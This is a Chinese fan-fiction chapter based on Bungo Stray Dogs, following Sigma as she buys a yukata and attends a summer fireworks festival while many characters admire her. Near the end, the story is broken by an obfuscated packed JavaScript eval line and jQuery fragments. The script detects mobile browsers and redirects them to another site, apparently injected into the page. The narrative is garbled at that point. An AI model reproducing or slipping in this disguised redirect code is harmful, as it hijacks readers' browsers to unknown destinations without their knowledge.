五月的阳光像融化的蜂蜜,从武装侦探社的窗户淌进来,暖洋洋地铺了一地。
直美趴在窗边,托着腮看外面的街道。
初夏的风吹进来,撩起她耳边的碎发,那颗小小的泪痣在阳光下格外清晰。
她像是忽然想起了什么,轻轻转过头。
“对了,六月份的夏日祭快要到了呢。”
话音落下,办公室里安静了一瞬。
西格玛正坐在角落的沙发上看书,闻言缓缓抬起头。
阳光落在她身上,那头半紫半白的头发柔软地蓬松着,像水母的触须一样轻盈地垂落在肩头。
左边是柔和的紫,右边是纯净的白,都是浅淡的颜色。
淡粉色的眼眸在光线下像是透明的水晶,带着一点点与生俱来的疏离感,却又在看向直美的时候,不自觉地柔和下来。
“夏日……祭?”她轻声问,声音很轻,像风吹过风铃。
“诶?”直美歪了歪头,那颗泪痣随着她的表情动了动,“西格玛不会没去过夏日祭吧?”
西格玛沉默了一瞬,轻轻摇头。
她确实没有去过。
那些关于夏日祭的记忆,捞金鱼、苹果糖、烟花在夜空中绽放、人们穿着浴衣在灯火通明的街道上漫步。
对她而言,都像是另一个世界的故事。
“那今年一定要去!”
江户川乱步“噌”地从椅子上跳起来,帽子都差点歪掉。
“和名侦探一起去吧!夏日祭里藏着好多谜题哦——比如捞金鱼为什么总是捞不上来,那可是个物理学难题!”
原本躺在沙发上装睡的太宰治立刻翻身坐起,摆出一副痛心疾首的模样:“哎呀,好过分——我也要一起去!怎么能把我一个人丢下呢?”
“诶?!”中岛敦从文件堆里猛地抬起头,脸颊悄悄泛红,“那、那我也……”
“那就都去。”国木田独步推了推眼镜,镜片闪过一道光,“夏日祭是很好的休息机会。适当的放松,也是提高工作效率的必要条件。”
与谢野晶子放下手中的医书,轻笑了一声:“听起来像是全员出动呢。”
穿着工装裤的宫泽贤治从门外探进头,爽朗地笑出一口白牙:
“夏日祭?我也要去!可以吃好吃的团子,还能看烟花,太棒啦!”
泉镜花安静地坐在角落里,闻言抬起头,眼睛亮晶晶地看向西格玛。
“西格玛穿浴衣……一定好看。”她声音很轻,却格外认真。
西格玛微微一怔,那双淡粉色的眼眸里浮起一点不易察觉的温柔。
她朝镜花轻轻点了点头,唇边弯起一个浅淡的弧度。
不知何时,福泽谕吉已经站在了门口。
他沉默地环视着办公室里这群期待、兴奋、又或是假装不在意的社员们,最终轻轻颔首。
“夏日祭,武装侦探社全员参加。”
就这么一句话,决定了那一天的行程。
西格玛垂下眼睫,阳光落在她的睫毛尖上,像是撒了一层金粉。
全员……也包括她。
“太好了!”直美兴奋地拍了拍手,随即像是想起什么,“对了,西格玛有浴衣吗?”
西格玛再次轻轻摇头。
“那正好!”直美的眼睛亮了起来,那颗泪痣随着她笑起来的样子弯弯的,“下午刚好我和西格玛都没有班,我们一起去买浴衣吧!我也正好想买新的呢!”
“我有浴衣。”与谢野晶子说,“下午还有病人要来,我就不陪你们去了。”
“我也有。”泉镜花轻声说,又看了西格玛一眼,“西格玛穿……一定好看。”
她重复了一遍,眼睛亮亮的,像是在说什么很重要的事情。
西格玛对上那双清澈的眼睛,心里某个柔软的地方被轻轻触动了。
她微微侧过头,那头水母一样蓬松柔软的头发随着动作轻轻晃动。
“谢谢。”她轻声说,声音温柔得像春天的风。
“我也可以陪你们去挑哦!”宫泽贤治高高举起手,笑容阳光又真诚,“我知道镇上最老牌的和服店,布料舒服又好看!”
直美笑着摆摆手:“不用啦贤治,我和西格玛两个人去就好~”
“好嘞!那记得挑漂亮的!”他爽快点头,又坐回自己的位置,开始掰着手指盘算夏日祭要吃的小吃。
下午出发前,办公室里热闹得像过节一样。
直美走到谷崎润一郎的桌前,微微弯腰,在他脸颊轻轻蹭了一下:“哥哥,我和西格玛出门啦——”
谷崎润一郎的脸瞬间红透,手忙脚乱地握住了钢笔:“嗯、嗯……路上小心……”
“路上小心哦——”太宰治趴在窗边朝她们挥手,笑容灿烂得有些过分,“记得挑好看的!我等着看!”
国木田独步正在整理文件,闻言推了推眼镜:“别耽误太久,注意安全。”
中岛敦站在门口,似乎想说什么,却只是红着脸朝她们点了点头。
他的目光在西格玛身上停留了一瞬。
她今天穿着常服,纤细的身材被衬衫勾勒出柔和的线条,胸前丰满的轮廓若隐若现。
他飞快地移开视线,脸又红了起来,只小声地说了句“路上小心”。
西格玛朝他微微颔首,淡粉色的眼眸里带着温和的光。
宫泽贤治大步走过来,用力挥了挥手,声音洪亮又温暖:
“西格玛小姐,直美,路上小心呀!一定要选最适合你们的浴衣!”
西格玛朝他微微颔首,淡粉色的眼眸里带着温和的光。
“谢谢你,贤治。”
“走吧!”直美挽住她的手臂,两个人一起踏出了侦探社的大门。
午后的老街安静而悠闲,阳光透过屋檐的缝隙洒下来,在地上投下斑驳的光影。
她们走进一家看起来有些年头的和服店,店里飘着淡淡的樟木香。
“欢迎光临——”店主是个温和的中年女性,笑着迎上来。
直美立刻拉着西格玛在店里转了起来。她的目光在一排排浴衣上扫过,忽然停在一件面前。
“西格玛,这件!”
那是一件很特别的浴衣。
上半段是纯粹的白色,像是初雪落在肩头。下半段渐渐过渡成淡紫色,是那种快要日落时天边浮现的、若有若无的紫。腰封的部分是更深一些的紫色,恰好衔接了颜色的渐变。
“和你头发的颜色好配!”直美兴奋地说,“你看,上面是白色的,下面是紫色的——”
西格玛看向那件浴衣,又看向镜子里自己那头半紫半白的长发,忽然觉得这确实是很巧妙的契合。
淡粉色的眼眸里浮起一点浅浅的笑意。
“嗯。”她轻声应道,“就这件。”
直美自己选了一件淡蓝色的浴衣,布料上印着活泼的小金鱼,游动的姿态栩栩如生,在淡蓝的底色上显得格外灵动。
她抱着浴衣在西格玛面前转了个圈:“这件怎么样?”
“很适合你。”西格玛望着她阳光下格外显眼的泪痣,声音温柔,“很活泼,像你一样。”
直美脸微微一红,随即笑起来:“那我们去试!”
在店员的帮助下,她们走进更衣室。
穿浴衣是一件繁琐的事情。里层的襦袢、外层的浴衣、腰封、带子,每一层都要整理妥帖。
西格玛不太习惯这种穿着,总觉得腰封系得太紧,木屐的高度也有些陌生。
但当店员帮她整理好衣领,系好最后一根带子,她看向镜子时,不由得怔住了。
镜子里的人,好像变得有些不一样了。
白色的上襟衬得她的面容更加清雅,淡紫色的下摆随着她的动作轻轻晃动,像是把初夏的暮色穿在了身上。
半紫半白的长发与浴衣的渐变完美呼应,纤细的身形被勾勒得修长柔和,腰封上方隐约的曲线,又为她清冷的气质添了几分温婉动人的风情。
浅紫色的木屐带系在脚背上,每一处细节都恰到好处。
她轻轻推开更衣室的门。
直美已经在外面等着了。
她穿着那件淡蓝色的浴衣,小金鱼在布料上游动,衬得她整个人都活泼明亮起来。
长发松松挽起,露出白皙的后颈与耳垂,那颗泪痣更显小巧。
几缕碎发垂在颊边,随动作轻轻晃动,浴衣的领口微微敞开,露出雪白的脖颈。
西格玛看着她,淡粉色的眼眸里浮起温柔的波光。
“直美。”她轻声唤道,声音轻得像落在水面上的花瓣,“很漂亮。”
直美愣了一下。
她抬起头看向西格玛,然后眼睛一点一点睁大了。
午后的阳光从窗棂间漏下,温柔地落在西格玛身上。
那件白紫渐变的浴衣,衬得她整个人像是从画里走出来的。
白色的部分纯净得像月光,紫色的部分温柔得像暮色。
她微微垂着眼,长睫在脸颊投下浅淡的阴影,水母般柔软的长发在光线下泛着温润的光泽。
清冷,优雅,又带着让人忍不住心跳的温柔。
她就那样站在那里,淡粉色的眼眸安静地看着直美。
那双樱花色的眼眸只映照出她一人。
“你、你说什么……”直美捂住脸,声音从指缝里漏出来,“明明是你更漂亮啊……西格玛你太好看了……”
她放下手,脸已经红透了,那颗泪痣在红晕中显得格外分明。
但她的眼睛却亮得惊人,兴奋地围着西格玛细细打量。
“真的好好看!这个颜色太配你了!你的头发也是,这个浴衣也是——啊,还有这里——”她指了指西格玛的领口,随即又捂住脸,“不行不行,我不好意思说,但真的很好看!”
西格玛听着她语无伦次的夸赞,微微怔了怔,然后——
她的脸红了。
那一点红晕从脸颊漫上来,染上耳尖,让她整个人都生动起来。
她垂下眼,睫毛轻轻颤动着,淡粉色的眼眸里浮起一点害羞的光。
嘴角却忍不住弯起一点弧度,那弧度里有温柔,有羞涩,还有被真心夸赞后的小小欢喜。
“直美……”她轻声说,声音比刚才更轻了,带着一点害羞的柔软,“别说了……”
“不行!”直美反而更兴奋了,“西格你害羞的样子也太可爱了!真的!太可爱了!”
她绕着西格玛转了一圈,浴衣的下摆随着她的动作轻轻飘动,小金鱼像是在淡蓝的波浪里游动。
“西格玛真是太可爱了——!”她最后感慨,眼睛亮亮的,那颗泪痣在阳光下像是落在那里的星星,“真的真的太可爱了!”
店里的店员微笑着看着她们,阳光静静地洒落,把这一刻定格成温暖的画面。
窗外的风轻轻吹进来,带着初夏的气息和远处隐约的花香。
更衣室的帘子在风中轻轻晃动,像是也在为这一刻的美好而轻轻摇曳。
很快,就是夏日祭了呢。
——————
日升月落,转眼就到了烟花大会的日子。
傍晚时分,侦探社的众人陆续开始准备。
太宰治站在自己房间的镜子前,最后整理了一下衣襟。
他穿的是那件鼠灰色的和服,西格玛之前送的那件。
鼠灰色的底色上,银灰色细条纹纵横交错,在黄昏的光线里泛着柔和的光泽。
纹路细密,剪裁合身,衬得他整个人清俊修长。
袖子刚刚好呢。
太宰治抬手抚了抚袖口,嘴角弯起一点弧度。
是适合夏天穿的和服,在合适的日子穿上。
最重要的是,是那个人送的。
他推开门,走向约定的集合地点。
西格玛已经在等他了。
她站在沙发旁的尽头,背对着窗外的暮色。
淡紫色的浴衣从上到下渐变,像把黄昏穿在了身上。
水母般蓬松柔软的半紫半白长发垂落在肩头,纤细的身形被浴衣勾勒出优美的线条。
那抹起伏在领口的阴影下若隐若现,却不显得突兀,反而让那份清冷的气质里透出一点动人的温度。
她听到脚步声,微微侧过身来。
淡粉色的眼眸望向他,眉眼间依旧是那层淡淡的疏离,像是隔着一层薄雾。
太宰治忽然觉得呼吸顿了一顿。
清冷,优雅,却又温柔得让人心跳漏一拍。
这样的她,就在他面前。
“晚上好。”西格玛微微颔首,她的声音很轻、很软。
“晚上好。”太宰治笑着走近,“腰带系好了吗?我看看——”
他在她面前停下,低头打量了一下她的腰带,然后轻轻“啧”了一声。
“系得不太对。”他说,语气里带着一点无奈的笑意,“这样穿着会不舒服的,走不了多久。”
西格玛微微蹙眉:“可是店员明明——”
“店员是店员。”太宰治已经绕到她身后,“我帮你重新系一下。”
他的手指触上她的腰带时,西格玛感觉到他的动作顿了一顿。
太宰治确实去学了。
这几天的午休时间,他消失得无影无踪。
没有人知道他去哪里,只有国木田烛步有一次偶然看见他在和服店的橱窗前站了很久,手里拿着一本关于和服穿着的小册子。
此刻他的手指灵活而轻柔,解开原来的结,重新整理腰带的角度和松紧。
他的动作很慢,慢得像是怕惊扰什么珍贵的东西。
“怎么会想到去学这个?”西格玛微微侧过头,只能看到他垂下的眼睫。
“因为想帮你系。”太宰治的声音从她身后传来,带着一点笑意,“总不能系得乱七八糟吧。”
他说得很轻,像是在说一件再平常不过的事。
西格玛没有看到的是,他低垂的眼眸里盛着怎样温柔的光。
腰带系好的那一刻,他直起身,目光落在她的后颈上。
那里有一小块露出的肌肤,白皙得像是新雪。
“……好了。”他的声音有一点哑。
西格玛转过身,低头看了看系得整整齐齐的腰带,又抬眼看他。
“谢谢。”
太宰治笑了笑,目光却落在她散落的发丝上。
“头发还没弄吧?”他说,“我帮你。”
西格玛愣了一下:“你会盘发?”
“刚学的。”太宰治眨眨眼,“要不要试试?”
他让西格玛在镜子前坐下,自己站在她身后。
梳子从她发间滑过,轻柔得像是在触碰什么易碎的宝物。
他小心地拢起那些半紫半白的发丝,动作带着一点笨拙的认真。
毕竟是第一次,毕竟是给她盘发。
盘好之后,西格玛的手指轻轻蜷缩了一下。
她的手心一直握着一样东西。
一枚小小的粉色樱花发夹,精致得像刚从枝头摘下。
她犹豫了一瞬,指尖微微松开,缓缓将手心摊开。
那枚樱花发夹安静地躺在她的掌心,带着一点微凉的温度。
太宰治垂眸看见,眼底瞬间漾开一层极轻极软的笑意。
他没有多问,只是轻轻从她掌心取出发夹,指尖不经意擦过她的掌心,带着一点小心翼翼的触碰。
“很适合你。”
他轻声说,然后抬手,将那枚樱花发夹稳稳地别在她盘起的发间。
粉色的樱花在她半紫半白的发丝间绽放,像是暮色里落下的一点春意。
他站在她的身后,和镜子里的她同框。
镜中,她穿着他系好腰带的浴衣,戴着从她掌心取出、由他亲手别上的发夹,淡粉色的眼眸里映着他的倒影。
而他站在她身后,微微俯着身,目光落在镜中她的脸上。
那一刻,时间好像停住了。
“……真美啊。”他轻声说,像是感慨,又像是叹息。
然后他弯起嘴角,用一种带着遗憾的语气说:“要是只有我一个人能看到就好了。”
西格玛在镜中对上他的眼睛。那里面没有平日的戏谑,只有一种她从未见过的认真。
她垂下眼睫,没有接话。但耳尖悄悄红了一点。
太宰治笑了笑,直起身。
“走吧,该出发了。”
烟花大会的场地在城市的另一端,需要打车过去。
太宰治招了一辆出租车,绅士地打开后座的门,等西格玛坐进去后,才从另一侧上车。
车里很安静。
城市的灯光从车窗外流过,明明灭灭地落在两人身上。
西格玛望着窗外,侧脸的线条在流动的光影里忽明忽暗。
太宰治坐在她身边,目光落在她的侧脸上,安静得不像平时的他。
谁也没有说话。
但那种沉默不是尴尬,而是一种奇异的安宁。
像是两个人都知道,有些话不需要说出口,有些时刻只需要静静感受。
车停了。
太宰治先下车,然后转过身,朝西格玛伸出手。
西格玛看着那只手,顿了一瞬,然后将自己的手放上去。
他的手掌温热而干燥,稳稳地托住她的手,扶着她从车里下来。
他的动作很轻,却很稳,像是怕她踩着木屐不稳,又像是单纯地不想那么快松开。
“小心。”他说。
下了车,他没有立刻松开,而是等她的木屐稳稳踩在地上之后,才放开手。
然后他自然而然地放慢了步伐,和她并肩而行。
木屐踩在石板路上,发出清脆的声响。太宰治的步子比平时慢了许多,每一步都迁就着她的节奏。
“慢点走。”他说,声音很轻,“时间还早。”
其实时间不早了,天边已经泛起深蓝,烟花就要开始了。
但他希望这条路再长一点。
希望时间再慢一点。
再慢一点。
西格玛走在他身边,垂着眼,安静地踩着木屐一步一步往前走。
她感觉到他的步伐和她同步,感觉到他的存在就在身侧,不远不近,刚刚好。
远处传来人群的喧嚣声,烟火大会的场地就在前方。
太宰治偏过头,看着她的侧脸。暮色里,她的轮廓温柔得不可思议,发间那枚樱花发夹随着脚步轻轻晃动。
他想,这条路要是永远走不完就好了。
西格玛似乎察觉到了他的目光,微微侧过头。
淡粉色的眼眸对上他的视线。
“怎么了?”
太宰治弯起嘴角,笑得温柔。
“没什么。”他说,“就是想记住这一刻。”
——————
暮色渐深,人群的喧嚷声越来越近。
西格玛踩着木屐,和太宰治并肩走在通往烟花大会会场的石板路上。
两旁已经摆起了各式各样的小摊。
捞金鱼的塑料池在灯光下泛着粼粼波光,苹果糖裹着晶莹的糖衣串成一排,章鱼烧的铁板上滋滋作响,白茫茫的热气裹着酱香飘散开来。
她从未见过这样的景象。
淡粉色的眼眸里映着灯火,那些流动的光影在她眼底明明灭灭。
太宰治走在她身侧,目光没有落在那些热闹的摊贩上,而是落在她的侧脸上。
看她微微睁大的眼睛,看她不经意间放缓的脚步,看她被风吹起的一缕发丝轻轻拂过脸颊。
他忽然觉得,今年的烟花,大概会格外好看。
“西格玛——!太宰——!”
熟悉的声音从不远处传来。西格玛循声望去,只见武装侦探社的众人已经聚集在一棵老樱树下,占据了绝佳的观赏位置。
每个人都穿着浴衣。
宫泽贤治穿着一件明亮的鹅黄色浴衣,腰间系着深绿色的带子,笑得格外爽朗,远远就朝西格玛挥手:
“西格玛小姐!这里!你今天真好看!比田里盛开的向日葵还要亮眼!”
直美穿着那件淡蓝色的浴衣,衣摆上印着的小金鱼随着她挥手的动作像是在游动。
眼角那颗小小的泪痣在灯火下格外分明,衬得她的笑容愈发灵动。
“这边这边!”
国木田独步站在她旁边,穿着一件藏青色的浴衣,系带系得一丝不苟。
他站得笔直,像是来执行任务而不是参加祭典。
与谢野晶子穿着一件深紫色的浴衣,上面印着大朵的桔梗花,黑发松松地挽起,露出线条优美的后颈。
她抱着手臂站在一旁,嘴角噙着淡淡的笑意,难得露出这样放松的神情。
泉镜花站在她身边,穿着一件浅粉色的浴衣,上面绣着细碎的樱花。
她的头发也难得地披散下来,衬得那张清秀的小脸越发惹人怜爱。
此刻她正仰着头,眼睛亮晶晶地望着西格玛的方向。
中岛敦站在她旁边,穿着一件深蓝色的浴衣,是那种很朴素的款式。
但他整个人都僵僵的,手脚不知道往哪里放,显然是很紧张。
他的目光落在走来的西格玛身上,然后飞快地移开,然后又忍不住移回来,耳朵尖红得快要滴血。
江户川乱步难得没有戴那顶标志性的帽子,换了一件浅灰色的浴衣,上面印着些小小的图案。
他站在人群中央,双手插在袖子里,看似漫不经心,却在西格玛走近的那一刻,手不知不觉按在了心口的位置。
——心脏的形状像兔子。
——我的兔子在疯狂乱跳。
他悄悄深吸一口气,把视线移向夜空,假装在观察云层的厚度。
谷崎润一郎穿着一件墨绿色的浴衣,站在直美身边,温和地朝西格玛点了点头。
他的目光克制而有礼,带着恰到好处的分寸感。
而在他们身后,老樱树最粗壮的树干旁,福泽谕吉静静地站在那里。
他穿着一件深灰近黑的和服,没有任何纹饰,只有腰间的系带是沉静的银灰色。
他就那样站着,双手笼在袖中,脊背挺直如松。
没有多余的动作,没有多余的表情,却自有一种让人无法忽视的存在感。
仿佛那棵老樱树只是他的背景,仿佛漫天的灯火都只是为了映衬他此刻的静默。
西格玛的目光越过众人,落在他身上。
她微微欠身,朝他点了点头。
福泽谕吉也微微颔首,算是回应。
那一点头很轻,很短,却让西格玛心里莫名安定了一些。
“西格玛——!”直美又喊了一声,这次干脆跑过来,一把挽住西格玛的手臂,“快来快来!这个位置看烟花超棒的!”
西格玛被她拉着往前走,木屐在石板路上发出清脆的声响。
然后她站定在那群人面前。
——那一瞬间,所有人都安静了一拍。
暮色与灯火交织的光影里,她穿着那件渐变紫色的浴衣站在那,上半身的白像是月光凝成,下半身的紫像是暮色沉淀。
水母般蓬松的半紫半白长发垂落在肩头,发间那枚粉色的樱花发夹在灯火下泛着柔和的光。
浴衣勾勒出纤细优美的身形,领口的弧度清浅动人,清冷的气质里,悄然透出一丝温柔的暖意。
淡粉色的眼眸静静地望着大家,眉眼间依旧是那层薄薄的疏离,却在看到熟悉的面孔时,微微柔软了一些。
“哇……”直美第一个发出声音,然后捂住嘴,眼睛亮得惊人,“超适合西格玛的!果然我的眼光没错!”
国木田独步推了推眼镜,镜片反射着灯火的光。他张了张嘴,似乎想说什么标准的、得体的赞美,但话到嘴边却变得有些干巴巴的:
“很、很适合你。”
说完他自己的脸先微微泛红了。
中岛敦僵在原地,目光落在西格玛身上,然后飞快地移开,然后又忍不住移回来,然后又移开。
他的喉结动了动,声音小得像蚊子哼:
“西、西格玛小姐……很、很适合……很适合您……”
最后几个字几乎听不见了。
泉镜花仰着头看着西格玛,眼睛亮晶晶的,像是盛满了星星。她认认真真地看了很久,然后用力点了点头:
“好看。喜欢。”
简洁有力,却比任何华丽的赞美都真诚。
与谢野晶子上下打量了西格玛一番,嘴角的笑意深了一些。
她微微颔首,语气里带着一点过来人的欣赏:
“很适合你呀。这件浴衣挑得很好。”
谷崎润一郎礼貌地点了点头,目光温和而克制:
“很漂亮,西格玛小姐。浴衣的颜色和您的发色很配。”
他说完,下意识看了一眼身边的妹妹。直美正满脸骄傲地挽着他的手臂,仿佛西格玛的美丽也有她的一份功劳。
西格玛听着这些赞美,垂下了眼睫。
然后,她的脸颊上泛起了一层淡淡的红晕。
很浅,很薄,像是暮色里最后一抹霞光落在雪地上。
太宰治站在她身后半步的位置,将她那一点羞涩尽收眼底。
他的唇角弯起一个极浅的弧度,眼底的光比任何灯火都要温柔。
“哎呀,大家都到了啊。”他用一种轻松的语气打破这片刻的安静,“看来我们是最后来的?”
“当然是最晚的。”国木田独步恢复了一贯的严谨,看了眼手表,“离烟花开始还有十五分钟,位置已经占好了。”
就在这时,一个略显局促的声音从人群边缘响起:
“那、那个……”
爱伦·坡站在稍微远一点的地方,怀里抱着浣熊卡尔,他穿着一身红棕色的浴衣,额发依旧遮住眼睛。
他的脸憋得通红,目光不知道往哪里放,最后只能死死盯着自己脚边的地面。
“我、我也来了……”他结结巴巴地说,声音越来越小,“烟花……那个……大家一起看……会比较……”
他说不下去了。
西格玛走过去,在他面前停下。她伸出手,轻轻摸了摸卡尔柔软的毛发。
卡尔舒服地眯起眼睛,往她手心里蹭了蹭。
“谢谢你来看烟花。”西格玛轻声说,语气平淡却真诚。
爱伦·坡的呼吸明显顿了一顿。
他的目光终于从地面抬起来,落在她身上——
然后,他的脸更红了。
今天的她……很美。
美到他不敢看她。
他飞快地垂下眼,又盯着地面,嘴里含糊地“嗯”了一声。耳朵红得快要烧起来。
西格玛没有再多说什么,只是又轻轻摸了摸卡尔,然后直起身。
就在这时,人群的另一边传来一阵轻微的骚动。
是港口□□的人。
森鸥外穿着一件深灰色的和服,缓步走来。
他的身边跟着两个身影,中原中也和芥川龙之介,也都换上了浴衣。
中原中也穿着一件黑色的浴衣,只有衣摆处绣着暗红色的火焰纹。
他的帽檐压得低低的,但视线从踏入这片区域开始,就精准地落在了某个方向。
芥川龙之介穿着一件深灰色的浴衣,是那种几乎要融入夜色的灰。
他面无表情地走在森鸥外侧后方,黑色的发丝在夜风里轻轻拂动。
他的目光扫过人群,然后——停住了。
他看到了她。
她穿着那件渐变紫色的浴衣站在灯火里,发间别着粉色的樱花发夹,淡粉色的眼眸在灯光下像是透明的水晶。
她的手腕上,那只玉镯在灯火下泛着温润的光泽。
她还戴着。
他的视线短暂地落在她身上,只有几秒。
然后他移开了目光,面上没有任何表情变化。
——她还戴着。
那就足够了。
中原中也的目光则要灼热得多。他隔着人群望着她,帽檐下的眼睛里像是燃着一簇小小的火苗。
他的脚步微微顿了顿,似乎想走过去,但随即意识到首领就在身侧。
他只能站在原地,朝她点了点头,算是打了招呼。
西格玛看见他,唇角微微弯起一个极浅的弧度。
“中也。”她轻声说,像叫一个熟悉的朋友。
中原中也的喉结动了动。
他没有说话,只是又点了点头。但那簇火苗在他眼底跳得更烈了。
西格玛转向森鸥外,微微欠身,礼数周全:
“森先生,晚上好。”
森鸥外笑眯眯地看着她,目光在她身上转了一圈,最后落在那件浴衣上。
“哎呀,西格玛小姐今晚真是美丽动人呢。”他的语气里带着一贯的、难以捉摸的笑意,“浴衣很衬你。”
“谢谢。”西格玛平静地回应。
然后她转向那个黑色风衣的身影,语气同样平淡而礼貌:
“芥川君,晚上好。”
芥川龙之介的视线再次掠过她的手腕,只有一瞬间。
“……嗯。”他低低地应了一声。
那个“嗯”字轻得几乎听不见,但对于芥川龙之介来说,已经是难得的回应。
福泽谕吉不知何时已经站在了不远处。
森鸥外转身看向他,两人目光相遇,空气中似乎有什么微妙的东西流动了一瞬。
“福泽阁下。”森鸥外笑着打招呼,“真巧啊。”
“不巧。”福泽谕吉淡淡地说。
太宰治从西格玛身后踱出来,双手插在袖子里,脸上挂着那种惯常的、似笑非笑的表情。
“哎呀,真的是‘巧’呢。”他说,语气里带着一丝若有若无的嘲讽,“这种地方都能遇见,横滨真是小啊。”
森鸥外笑眯眯地看着他,目光里闪过一丝复杂的神色。
巧不巧的,他心里有数。
他当然记得那个决定。
把太宰治的工作地点透露给他招惹过的一些女性。
本意是想给这个曾经的学生添点乱,如果能让西格玛对他生出些许间隙就更好了。
结果呢?
太宰治确实遇到了麻烦。
但那些麻烦,对他来说,甚至可能算是因祸得福。
森鸥外的目光落在西格玛身上,看着她安静地站在太宰治身侧,看着太宰治不经意间望向她的眼神。
真是可惜啊。
不仅没给太宰治添到乱,还偷鸡不成蚀把米。
他脸上的笑容不变,心里却轻轻叹了口气。
就在这时,另一群人从人群的另一侧走来。
是猎犬部队。
大仓烨子穿着一件玫红色的浴衣,是那种极艳丽的颜色,却被她穿出了一种凌厉的美感。
那枚玫瑰发夹稳稳别在发间,和她浴衣的颜色相得益彰。
她的目光从踏入这片区域开始,就像被磁石吸引一样,精准地落在了某个方向。
然后她看到了——
她穿着渐变紫色的浴衣站在灯火里,发间别着那枚粉色的樱花发夹。
大仓烨子送给她的那一枚。
她的心跳漏了一拍。
她看到了西格玛发间的樱花发夹,看到了那件与她发色完美呼应的浴衣,看到了她纤细的身形被浴衣勾勒出的优美线条,看到了她淡粉色眼眸里映着的灯火。
今天的她……
很美。
大仓烨子的脚步微微顿了顿,然后继续往前走。
但她的视线,在西格玛身上停留了太久。
久到她身后的三个男人,都清清楚楚地看见了。
立原道造穿着一件深棕色的浴衣,整个人显得比平时拘谨了许多。
他的目光落在西格玛身上,然后飞快地移开,然后又忍不住移回来。
他的喉结动了动,什么都没有说,她的样子已经印在了他的脑海里。
条野采菊穿着一件浅灰色的浴衣,唇角挂着那抹一贯的微笑。
他“看”向西格玛的方向。
他听到了她的心跳声——隔着人群,隔着喧嚣,那个频率依然清晰、稳定、独特。
和他灰白世界里所有的信号都不一样。
末广铁肠穿着一件墨蓝色的浴衣,站得笔直。
他的目光坦坦荡荡地落在西格玛身上,认真地看了一会儿,然后点了点头,像是在确认什么数据。
“很美。”他低声说,像是在陈述一个客观事实。
立原道造和条野采菊同时沉默了一瞬。
大仓烨子的眼角跳了跳。
——周围那些讨人厌的雄性。
武装侦探社的也好,猎犬的也罢,港口□□的更是。
真是碍眼。
但她的目光落在西格玛发间那枚樱花发夹上时,那些不愉快就像被风吹散的烟,轻轻飘走了。
她戴着。
就像她每天都戴着西格玛送的那枚玫瑰发夹一样。
就在这时,西格玛看到了她。
淡粉色的眼眸在一瞬间亮了起来。
那种亮,和刚才面对所有人时的礼貌温和都不一样。
是真正的、发自内心的惊喜。
眉眼间那层淡淡的疏离在这一刻消失得无影无踪,取而代之的是一种柔软的、带着温度的光芒。
她笑了。
那是一个很浅的笑,只是唇角微微弯起一点弧度,眼睛稍微眯起一点点。
但那个笑容,让周围所有的灯火都黯然失色。
大仓烨子站在原地。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17421685|197107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她看着那个笑容。
看着它在她脸上绽放,像是烟花炸开前的那一瞬火光。
然后——
烟花炸开了。
第一朵烟花在夜空中绽开,巨大的声响震得空气都在颤抖。
金色的光芒从天穹倾泻而下,像是星雨洒落人间。
西格玛抬起头。
那一瞬间,她的眼睛里盛满了光。
漫天的烟花在她眼底绽放,一朵接一朵,红的、金的、紫的、银的,把整个夜空染成流动的画卷。
她从未见过这样的景象,淡粉色的眼眸睁得大大的,里面映着不断变幻的色彩,像是第一次看见星空的旅人。
有星火如雨点般散落,从高空坠落,在即将触及地面的瞬间消失不见。
绽放在夜空之中。
清凉的晚风拂过,吹起她一缕半紫半白的发丝,拂过她微微仰起的脸颊。
大仓烨子没有看烟花。
她看着西格玛。
看着她仰起的脸,看着她眼底的光,看着她唇角那抹被烟花照亮的弧度。
她的眼睛里,只有她的笑容。
然后,大仓烨子自己也勾起了一个浅浅的笑。
很浅,很轻,像是被她的笑容感染,又像是被烟花点燃。
那是猎犬部队的副队长大仓烨子,在无数人面前,露出的一个真正的、毫无防备的笑容。
一瞬间,夜空亮了起来。
烟花还在继续,一朵接一朵,把整个夏夜染成流动的画卷。
人群里,中原中也微微仰着头,目光却时不时飘向同一个方向。
芥川龙之介双手插在袖子里,面无表情地望着夜空,谁也不知道他在想什么。
绫辻行人站在人群的边缘,远远地,静静地看着。
他没有穿浴衣,依旧是那身惯常的装束。黑色贝雷帽压住金发,短外套搭在肩上。
他显然是又一次避开了异能特务科的监视,独自来到这里。
他的目光穿过人群,落在那个仰头看烟花的背影上。
她站在灯火与烟花交织的光影里,侧脸的轮廓被映得柔和而朦胧。
发间那枚樱花发夹偶尔反射出一点光,像是她整个人都在发光。
他看了很久。
然后,她的目光从烟花上移开,不经意间扫过人群的边缘。
——对上了。
淡粉色的眼眸与金色的眼眸,隔着喧嚣的人群,隔着漫天的烟火,在那一瞬间相遇。
她的眼睛里有一点意外,但更多的是一种沉静的、仿佛早已预料到的了然。
他微微点了点头。
很轻,很短,只是一个礼貌的示意。
然后他转身,朝人群之外走去。
步伐从容,没有丝毫留恋。
他想看的,已经看到了。
身后,又一朵烟花炸开,金色的光芒照亮他离去的背影。
西格玛望着那个方向,目送他消失在人群里。
然后她收回视线,继续仰望夜空。
烟花持续了整整一个小时。
当最后一朵烟花在天边消散,人群开始渐渐散去。
空气中还残留着火药的气息,和夏夜特有的潮湿的青草香。
“西格玛酱!”直美跑过来,眼睛还亮亮的,“我们去买苹果糖吧!刚才排队的人太多了,现在应该少了!”
西格玛点点头。
但她没有立刻跟直美走,而是先走向了大仓烨子。
太宰治站在原地,看着她的背影,没有跟上去。
他的眼里没有烟花,只有她。
大仓烨子站在原地,看着那个穿着渐变紫色浴衣的身影朝自己走来。
她的心跳比刚才看烟花时快了那么一点点。
“烨子。”西格玛在她面前站定,声音轻轻的,“今晚开心吗?”
大仓烨子看着她的眼睛。
那双淡粉色的眼眸里,映着自己的倒影。
“……嗯。”她说,声音比平时低了一点,“还行。”
西格玛微微弯起唇角。
“那就好。”
